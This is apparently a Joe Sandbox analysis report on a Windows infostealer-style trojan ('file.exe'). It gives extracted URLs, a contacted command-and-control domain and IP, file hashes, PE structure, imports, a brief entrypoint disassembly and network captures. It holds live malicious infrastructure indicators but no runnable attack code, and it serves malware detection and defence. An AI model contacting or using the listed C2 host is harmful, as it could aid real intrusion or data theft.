https://acceptabledcooeprs.shop/apij	BitLockerToGo.exe, 00000002.00000003.1909740346.0000000000896000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1910114828.0000000000896000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	BitLockerToGo.exe, 00000002.00000003.1859265178.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://acceptabledcooeprs.shop/3	BitLockerToGo.exe, 00000002.00000003.1859316482.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1878236584.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	BitLockerToGo.exe, 00000002.00000003.1832730581.0000000004C3D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1832730581.0000000004C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	BitLockerToGo.exe, 00000002.00000003.1832730581.0000000004C3D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1832730581.0000000004C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000002.00000003.1851695678.0000000004D37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://protobuf.dev/reference/go/faq#namespace-conflictMpohxHrXTsWUtcYRySvTtdvgYoOzPaTLHQkyDGHWUOSc	file.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://acceptabledcooeprs.shop/apiP	BitLockerToGo.exe, 00000002.00000003.1909740346.0000000000896000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1910114828.0000000000896000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	BitLockerToGo.exe, 00000002.00000003.1859265178.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	BitLockerToGo.exe, 00000002.00000003.1859265178.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://acceptabledcooeprs.shop/	BitLockerToGo.exe, 00000002.00000003.1850796166.00000000008B2000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909740346.0000000000896000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1910171260.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1850583241.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1910114828.0000000000896000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	BitLockerToGo.exe, 00000002.00000003.1832730581.0000000004C12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.microsof	BitLockerToGo.exe, 00000002.00000003.1832730581.0000000004C3D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	BitLockerToGo.exe, 00000002.00000003.1832730581.0000000004C12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	BitLockerToGo.exe, 00000002.00000003.1851695678.0000000004D37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	BitLockerToGo.exe, 00000002.00000003.1859412114.00000000008C3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1859291653.00000000008C3000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.59.156	acceptabledcooeprs.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1435867
Start date and time:	2024-05-03 10:11:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@2/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 51% Number of executed functions: 37 Number of non-executed functions: 55
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 6288 because there are no executed function
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:12:16	API Interceptor	7x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.59.156	https://florideskser.online/login	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Pine Hearts - Setup.exe	Get hash	malicious	Unknown	Browse	162.159.128.233
	Pine Hearts - Setup.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	586 R1 M-LINE - GEORGIA 03.05.2024.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.215.46
	x2B1c7K1L2D9M15048176901.html	Get hash	malicious	Unknown	Browse	104.21.59.220
	https://possible.network/?cmFuZDE9WTI1aFN6SlNOazlXT1V4WGJFZGpaVEpJYnpjPSZzdj1vMzY1XzFfbm9tJnJhbmQyPVFYRnlhR2RJU2xOeVUyb3lZMnREYmtwRVRuUT0mdWlkPVVTRVIyNTA0MjAyNFVOSVFVRTAxMzgwNDI1MzkyMDI0MjAyNDA0MjUzODAxMzkmcmFuZDM9YWtkSlYwOTFSWEYwV0hSU1NISlJVbGRIUzBFPQ==	Get hash	malicious	HTMLPhisher	Browse	172.67.128.246
	PO-240501-PDF.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	rE56cXOc25.rtf	Get hash	malicious	AgentTesla	Browse	172.67.215.45
	qneGb3RjUn.rtf	Get hash	malicious	AgentTesla	Browse	172.67.215.45
	SecuriteInfo.com.Win32.PWSX-gen.2445.18181.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	https://0ia63.q39r.com/0IA63/	Get hash	malicious	HTMLPhisher	Browse	104.21.17.5

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SecuriteInfo.com.Win32.PWSX-gen.11739.16980.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.59.156
	SecuriteInfo.com.Trojan.GenericKD.72607091.32716.31681.exe	Get hash	malicious	LummaC	Browse	104.21.59.156
	file.exe	Get hash	malicious	LummaC	Browse	104.21.59.156
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.59.156
	2024 12_59_31 a.m..js	Get hash	malicious	WSHRAT	Browse	104.21.59.156
	Dadebehring PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	104.21.59.156
	PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	104.21.59.156
	Update on Payment.js	Get hash	malicious	WSHRAT	Browse	104.21.59.156
	deobfuscated.js	Get hash	malicious	Unknown	Browse	104.21.59.156
	deobfuscated.js	Get hash	malicious	Unknown	Browse	104.21.59.156

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.393292542165312
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	file.exe
File size:	6'685'696 bytes
MD5:	7498af5d4fe090e8e2b4d13d867ab5e0
SHA1:	d3e086f49ef2db4a75ff1f6dc93b0045bba07866
SHA256:	725c4af20cd8140f12cb87e2b0e3c8a5654257cbccc70f378c765b1fa3322dc6
SHA512:	ad0c01bd34b676b227aa26348ce18c8bbe5e3e9949c50b792bd7fabf97bd42be0eaeef30212fb230c9d53c46d7f06800e50c376711b4978e5c5bb3629f803437
SSDEEP:	49152:AR2csE7IE7oIPRasjLPqiZ8vRLMpW/VllBRzfGej25ExdfvCXBqFZ4Hb1c1p5:ApfouMsShLMAWdExZZ4hW5
TLSH:	12665907FC9145E5C0EDD17089629167BB71BC484B212BD72B60FB282F76BD0AE7A358
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$.x*...f................@.............................`o......cf...`... ............................

File Icon


Icon Hash:	41cab3b1b386a045

Static PE Info

General

Entrypoint:	0x1400014c0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x4029d0a0, 0x1, 0x4029d070, 0x1, 0x402a0b10, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	c595f1660e1a3c84f4d9b0761d23cd7a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [0062F835h]
mov dword ptr [eax], 00000001h
call 00007F06E119D1BFh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [0062F815h]
mov dword ptr [eax], 00000000h
call 00007F06E119D19Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007F06E1443E7Ch
dec eax
test eax, eax
sete al
movzx eax, al
neg eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007F06E119D4D9h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword ptr [eax]
inc edi
outsd
and byte ptr [edx+75h], ah
imul ebp, dword ptr [esp+20h], 203A4449h
and dh, byte ptr [eax]
xor byte ptr [eax+58h], dl
jp 00007F06E119D559h
inc esi
outsb
push edx
outsb
push 69315362h
js 00007F06E119D561h
sub eax, 2D77542Fh
dec ebx
push 51357949h
je 00007F06E119D554h
dec ecx
xor ch, byte ptr [edx+66h]
xor bh, byte ptr [eax+32h]
xor eax, 48552F44h
push 0000002Dh
arpl word ptr [ecx+70h], bx
cmp dword ptr [edi+4Bh], eax
push eax
inc ebx
outsd

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x6d3000	0x4e	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6d4000	0x1458	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6d8000	0xe724	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x632000	0x108b4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6e7000	0xed60	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x630660	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x6d4494	0x458	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2a7640	0x2a7800	a85485b80cee45efe5851f52cd564819	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x2a9000	0x4c6d0	0x4c800	65f680890dd1848f9020578e2b953f3f	False	0.3545272926879085	dBase III DBT, version number 0, next free block index 10, 1st item "ogr\011v1.4.1\011h1:pKouT5E8xu9zeFC39JXRDukb6JFQPXM5p5I91188VAQ="	4.776361466960697	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2f6000	0x33b490	0x33b600	c82c753c575e841b61c7c127ac85499e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0x632000	0x108b4	0x10a00	e8842d053392b93f9370eb90baff485c	False	0.4064702772556391	data	5.628384707560738	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0x643000	0xc50	0xe00	7333d66ce156368a4a9b6482a1d347ba	False	0.25809151785714285	data	3.993048164403714	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x644000	0x8e860	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x6d3000	0x4e	0x200	a96267c73748517474e50df5e2d1d409	False	0.08984375	data	0.6437670283782346	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.idata	0x6d4000	0x1458	0x1600	fadc0a29fcb423787a542fb6671404ca	False	0.296875	data	4.273019518687252	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x6d6000	0x70	0x200	80f3939c070cc9b10968d943535bbe29	False	0.083984375	data	0.47235209217553853	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x6d7000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x6d8000	0xe724	0xe800	fceeea5930b006833a981c7d6ed2d1a9	False	0.5956021012931034	data	6.977836018600552	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x6e7000	0xed60	0xee00	2adff319b02cf71d1e92d5d7f7fe896d	False	0.24653689600840337	data	5.429313354931007	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x6d8354	0x46eb	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.000440649958689
RT_ICON	0x6dca40	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.41524390243902437
RT_ICON	0x6dd0a8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.4475806451612903
RT_ICON	0x6dd390	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5337837837837838
RT_ICON	0x6dd4b8	0x1754	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9480910917615539
RT_ICON	0x6dec0c	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.208955223880597
RT_ICON	0x6dfab4	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.20442238267148014
RT_ICON	0x6e035c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.20014450867052022
RT_ICON	0x6e08c4	0x17d7	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9369162706865476
RT_ICON	0x6e209c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.10072614107883818
RT_ICON	0x6e4644	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.11468105065666041
RT_ICON	0x6e56ec	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2579787234042553
RT_GROUP_ICON	0x6e5b54	0xae	data	English	United States	0.603448275862069
RT_VERSION	0x6e5c04	0x4f4	data	English	United States	0.2854889589905363
RT_MANIFEST	0x6e60f8	0x62c	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4240506329113924

Imports

DLL

Import

KERNEL32.dll

AddAtomA, AddVectoredContinueHandler, AddVectoredExceptionHandler, CloseHandle, CreateEventA, CreateFileA, CreateIoCompletionPort, CreateMutexA, CreateSemaphoreA, CreateThread, CreateWaitableTimerExW, DeleteAtom, DeleteCriticalSection, DuplicateHandle, EnterCriticalSection, ExitProcess, FindAtomA, FormatMessageA, FreeEnvironmentStringsW, GetAtomNameA, GetConsoleMode, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetEnvironmentStringsW, GetErrorMode, GetHandleInformation, GetLastError, GetProcAddress, GetProcessAffinityMask, GetQueuedCompletionStatusEx, GetStartupInfoA, GetStdHandle, GetSystemDirectoryA, GetSystemInfo, GetSystemTimeAsFileTime, GetThreadContext, GetThreadPriority, GetTickCount, InitializeCriticalSection, IsDBCSLeadByteEx, IsDebuggerPresent, LeaveCriticalSection, LoadLibraryExW, LoadLibraryW, LocalFree, MultiByteToWideChar, OpenProcess, OutputDebugStringA, PostQueuedCompletionStatus, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, RaiseFailFastException, ReleaseMutex, ReleaseSemaphore, RemoveVectoredExceptionHandler, ResetEvent, ResumeThread, RtlLookupFunctionEntry, RtlVirtualUnwind, SetConsoleCtrlHandler, SetErrorMode, SetEvent, SetLastError, SetProcessAffinityMask, SetProcessPriorityBoost, SetThreadContext, SetThreadPriority, SetUnhandledExceptionFilter, SetWaitableTimer, Sleep, SuspendThread, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TryEnterCriticalSection, VirtualAlloc, VirtualFree, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WerGetFlags, WerSetFlags, WideCharToMultiByte, WriteConsoleW, WriteFile, __C_specific_handler

msvcrt.dll

___lc_codepage_func, ___mb_cur_max_func, __getmainargs, __initenv, __iob_func, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _beginthread, _beginthreadex, _cexit, _commode, _endthreadex, _errno, _fmode, _initterm, _lock, _memccpy, _onexit, _setjmp, _strdup, _ultoa, _unlock, abort, calloc, exit, fprintf, fputc, free, fwrite, localeconv, longjmp, malloc, memcpy, memmove, memset, printf, realloc, signal, strerror, strlen, strncmp, vfprintf, wcslen

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 3, 2024 10:12:15.307290077 CEST	49735	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:15.307312012 CEST	443	49735	104.21.59.156	192.168.2.4
May 3, 2024 10:12:15.307368040 CEST	49735	443	192.168.2.4	104.21.59.156
May 3, 2024 10:12:15.310839891 CEST	49735	443	192.168.2.4	104.21.59.156
